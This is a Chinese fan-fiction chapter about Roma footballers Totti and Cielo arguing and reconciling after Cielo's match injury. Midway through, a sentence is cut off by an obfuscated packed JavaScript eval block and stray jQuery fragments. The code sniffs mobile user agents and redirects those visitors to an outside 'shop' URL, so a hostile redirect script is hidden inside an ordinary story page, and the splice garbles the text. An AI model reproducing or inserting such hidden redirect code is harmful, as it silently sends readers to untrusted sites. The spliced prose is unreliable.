回去的一路上安静得可怕,切洛本来一直以为世上没有他活跃不起来的气氛,这次看来他还是太高估自己了。他的几次搭话都被简单两句回答完毕,根本没法展开。
到家后切洛发现托蒂的私人医生被叫来了,从下午到夜晚,切洛今天被四波不同的医生轮着检查了一番。
这位医生也没有给出其他诊疗方案,他离开后留下一个护工和一个护士在家里值班。
“比安奇诺先生,晚上我值班,如果夜里要下床请叫我帮忙。”切洛被护工扶到一楼客房的床上,“我就在隔壁房间。”
“好的,谢谢你,查理。”
托蒂站在旁边看着切洛躺回床上,他友善地感谢护工的细心,在查理回了房间后,他把门轻轻关上。
关好门后托蒂转身面对切洛,突然开始冲他语速飞快地发问,好像这些问题已经在他心里反复背诵预演了几百遍:
“告诉我,切洛,你的脑子里装的到底是什么未知元素?今天明明我们还是领先,你为什么非要坚持打进那个球?”
切洛看托蒂这样疾言厉色地质问他,一下也不满起来。到底谁才是功臣兼伤员,谁才真正心情不好,需要被好好对待啊?
“弗兰切,足球是圆的,领先不意味着获胜。终场哨既然还没有响,那尽可能进更多的球就是每个球员都想做到的。
“我自然也不想错过任何进球的机会,这也是一个好的前锋的本能。我还是个新人呢,想站稳脚跟当然要好好表现,多进球呀。”
“斯帕莱蒂不是都已经再三承诺过你的地位了?!”
托蒂听完,开始不顾会不会被隔壁的医护人员听见,直接吼出来了。
“切洛·比安奇诺,你为什么总是那么患得患失?你挣来了咱们的胸前赞助,高层一直特别关照着你!
“你打过安东尼奥之后,队里从来没人再找过你的麻烦;你从来不在乎什么坐次之类的潜规则,达尼埃莱和文森佐要把你惯成亲儿子了;
“你平时训练迟到,更衣室发短信之类的小错误,教练也从来不体罚你或者真的扣你的工资!”
“切洛,你是不会被罗马放弃的,你在球队已经地位很稳固了。你是总把事情往坏了想,就为了一点不切实际的可能性,你每场都拼了命地踢!你是想在25岁前退役吗?”
托蒂机关枪扫射似的质问打得切洛一时不知道先回答哪个好了。
“弗兰切,我之前不是跟你说好了嘛,我要拿金靴的,趁早多刷刷数据嘛。你知道我一直是很自信的啊,我可是咱红狼的小天才,你才患得患失呢!”
托蒂看他满不在乎的死出,气不打一出来,顺手抓过切洛床头的小半瓶矿泉水猛灌,喝完把瓶子捏得嘎吱嘎吱响。
“好,这个其实不重要,只是一点你的心情问题。那我问你:‘你明知道哪怕躲开或者顺势摔倒也是个点球,你为什么非要射门,非要把支撑脚留在别人的鞋钉底下?’”
托蒂就切洛的渴望进球论继续发问。
“我没看到他放铲了!当时我只是在靠门前的本能行动,我什么都没想好不好。你真夸张呀。”
切洛下意识反驳。
实际上他当时是觉得再多挨一下也没什么事,毕竟从8月开始,哪回他也没真的伤了,与其后面担心点球会不会罚丢,不如直接运动战一脚定乾坤。
但他一向不敢对熟人说自己这种不重视身体健康的思考。
“我看你分明就是硬要拼着身体多进个球,事实上你少进这一个没人会突然觉得你效率低了,对你失望。”
托蒂还是持先前的意见。
“你又在过度关心啦。弗兰切,我走到哪儿都是那么受宠爱被追捧,我根本不担心这些有的没的,我还能怕没球踢是怎么样?
“我就是单纯没看见,真是和你讲不通理。算你说得对行了吧?”
这话堪称亲密关系中吵架最让人红温语句第一名。
果然,托蒂刚一听完,立刻彻底完全不顾体面,开始发火骂人:
“油盐不进的犟驴!你别以为我看不出你撒没撒谎,切洛!我只是从来不愿意和你计较。
“如果你还要胡说扯开话题,以后就少带着这张虚伪的嘴再跑来我眼前装作忠实!”
托蒂在回程的路上早用电脑看了好几遍当时的回放,切洛明显是观察到对手后卫动向后才做的动作。
这哪里是射手本能,他分明是有预谋的。
托蒂听到切洛总是下意识回避自己的问题,一下就觉得自己可能是管不了这孩子了。如果切洛不愿意对他诚实,那他也没什么好说的了。
算这小子太不识好歹,就让他随便伤害自己的身体吧,让他以后乐意做什么都干个爽好了。
“你想怎么搞坏自己我不在意,但不要在我眼皮子底下。以后少成天黏着我闲扯,我也不是那种需要小球员多讨好的球霸。”
切洛本来靠在床头,听托蒂这样说赶快用手肘撑着又坐起来。
房间不大,托蒂正生他的气,故意不看床上,于是绿眼珠只能狠狠转到侧面去。
他站在那儿手上还闲不住地直捋头发,可他气得手指头有点不听使唤,只能反复把耳畔滑落的头发往后掖。
托蒂真被他气坏了。切洛看出来了,自己刚才的话太恶心人了,这样说不过就阴阳怪气是最可恨的了。
大概五年前,也有人这样和切洛吵过架,而后也没有收回那些伤人的话。
以至于那个人从此在切洛这里不再是一个真正的朋友了。
切洛越想越后悔和托蒂刚才的争辩了。
他其实在刚被踢倒后,发现自己站不起来的一瞬间就已经有点害怕了。他也觉得当时的选择非常离谱,简直是在赌博。
唉,现在闹这么难看,那还不是因为刚才托蒂的态度太差嘛。
加上切洛一直想看起来自信大方,什么事儿他都爱对人下意识表现得无所谓,这回一下被托蒂点破心里残存的那点不安定感,让他有些破防了,就只想着辩倒托蒂。
两人沉默了一会儿,切洛反省了一番,他真的得解决这个糟糕的场面。
于是,他终于组织好语言主动求和:
“弗兰切...我不是那个意思,刚才我一时嘴快嘛。”切洛的嗓子直发干,但他只能先将就着忍一会儿。都怪有些人喝光了矿泉水。
“那什么,你坐过来说怎么样?”
“哼,你要是不想我管你的私人事务,就少叫那么亲。”托蒂的语气明显松动,眼睛又终于肯大发慈悲地向下看着切洛了。
“怎么能是私人的事呢?”切洛眼看托蒂有解冻迹象,赶快挑着眉毛夸张地升高语调问他,
“弗兰切,你是我的队长,我的房东,我的朋友,我的饼师傅——你管我,管的明明是家事嘛,咱们南方人可是很重视家人的,是吧?”
托蒂浅浅地笑了,然后又火速变脸回面无表情。
但他还是坐到了切洛的床边:“那你老实交代吧。当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012687|191935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时怎么想的,事后怎么检讨,以后遇到怎么办?”
“咳咳,是这样的哈,”切洛不敢乱说了,在心里飞速打了点草稿,
“第一个问题,我当时想着体质比较耐造嘛,没那么容易受伤。一般被这么踢到都没关系,所以我才…”
托蒂还不等他说完,一把掀开被子掐他肋下的痒痒肉:“还不容易受伤?现在你就说这话?你这不才伤了!你的年龄才多大,很多玻璃人曾经都这么想过!”
切洛是非常怕痒,但他知道托蒂肯上手和他肢体接触意味着已经翻篇了,于是也不敢乱动,只是一直轻轻握着他的手腕。
“队长,队长,原谅我!”切洛断断续续地出声讨好着,托蒂听他笑得直咳嗽,也没再多折腾他。
切洛抹了抹眼角,而后侧过来去捏托蒂的手指:“弗兰切,我根本没什么事,说不定他那一脚很轻,医院的医生说我这也有可能就是劳损导致的。”
“你懂吧,自然损耗,就像你的新橡皮,你擦多了铅笔字的话,它肯定会变小...”切洛越说越觉得自己有理,讲故事似的越说越流畅,
“但其实,弗兰切,你发现了没——如果你不把橡皮弄丢的话,它不会被用光的。你从小有用光过一块橡皮吗?”
“那倒是真没有用完过。”托蒂气儿已经消了个干净,开始回怼他。
“说起来,我的橡皮可没有弄丢的,它们一般会被我用金属格尺切成小块,或者用圆珠笔尖练习采血和注射。”
切洛听得一哆嗦,虽然这个比喻是他先用的,但怎么觉得托蒂在顺着他的话头讲童年往事时,里面的文具好像不太单纯呢?
“咳咳,第二个问题,”切洛回归正题,
“我当时刚被抬下场就后悔了。我真不该存侥幸心理,受伤是摊到我个人头上的,我应该对自己的身体负责。
“我很感谢球队里大家对我这个新人的特殊关照,所以我就更不能松懈了呀...我就想嘛,我不能像个模特似的纯靠给咱拉赞助在俱乐部里过活吧。是我太想拿出成绩了,我不该那么急躁的。”
切洛看托蒂神情很满意的样子,赶快趁热打铁:
“最后,以后我会以保护好自己为第一要务的。今天我们两个都有点上头了,弗兰切,以后也不要和我疏远?求你了。”
话毕,托蒂看着切洛示弱的可怜样子,终于把他又揽进怀里,摸着他的后脑勺低声说着:
“好了,切洛,我今晚不该这么对你的,原谅我。以后再也不会了,我们很好,以后也一样。
“你听着,我们不能没有你。你就是我们的核心球员之一,板上钉钉。你的伤停才是罗马最大的损失,一个进球换来可能的几个月伤停,这不是你想要的。”
切洛赶快满口答应下来:“弗兰切,谢谢你这么关心我。以后我不会小看每一次可能的受伤,我真的不会再这样做了。我一直知道你的好。”
两人在一晚上经历了冷战——吵架——和好,半宿都被耗过去了,托蒂看切洛已经困了,最后吻了他的额头道晚安,然后就要回楼上卧室。
可切洛拉着托蒂的手不让他走,非说要人陪:“你能别走吗,只有今晚。我真的很需要你。”
“当然不行了,我会压到你的伤腿。”托蒂否决了提议,
“怎么,你怕起夜不方便?刚才的矿泉水瓶呢,我给你塞进枕头底下。不过千万渴了别再当茶水喝回去了。”
切洛听得恶心坏了,他让这头傻狼麻利滚蛋。